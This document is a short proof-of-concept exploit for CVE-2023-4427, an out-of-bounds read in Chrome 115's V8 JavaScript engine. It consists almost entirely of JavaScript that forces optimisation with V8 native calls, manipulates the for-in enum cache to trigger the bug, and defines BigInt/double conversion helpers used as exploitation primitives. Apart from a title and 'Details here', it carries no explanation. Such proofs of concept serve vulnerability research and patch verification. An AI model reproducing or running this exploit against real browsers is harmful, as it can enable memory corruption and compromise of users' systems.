CVE-2023-4427 (OOB index read in Chrome 115.0.5790.114)

w/ V8 11.7.0

class Utils {  
static BigIntAsDouble(big_int) {  
Utils.#big_int_array[0] = big_int;  
return Utils.#double_array[0];  
}  
  
static DoubleAsBigInt(big_int) {  
Utils.#double_array[0] = big_int;  
return Utils.#big_int_array[0];  
}  
  
static CreateObject(prop_count) {  
let object = {};  
for (let i = 0; i < prop_count; ++i)  
object[`p${i}`] = 1;  
return object;  
}  
  
static InitEnumCache(object) {  
for (let key in object) { }  
}  
  
static AllocateInOldSpace(...bytes) {  
let string = String.fromCharCode.apply(null, bytes);  
Utils.#empty_object[string];  
  
}  
  
static #big_int_array = new BigUint64Array(1);  
static #double_array = new Float64Array(Utils.#big_int_array.buffer);  
static #empty_object = {};  
};  
  
Utils.AllocateInOldSpace(1);  
  
const object1 = Utils.CreateObject(1),  
object2 = Utils.CreateObject(9),  
object3 = Utils.CreateObject(10);  
  
Utils.InitEnumCache(object2);  
  
function trigger(callback) {  
for (let key in object2) {  
if (key == "p7") {  
callback();  
return object2[key];  
}  
}  
}  
  
%PrepareFunctionForOptimization(trigger);  
trigger(_ => _);  
trigger(_ => _);  
%OptimizeFunctionOnNextCall(trigger);  
  
trigger(function() {  
object3.p9 = 1.1;  
Utils.InitEnumCache(object1);  
Utils.AllocateInOldSpace(0x42, 0x42, 0x42, 0x42);  
});  

Details here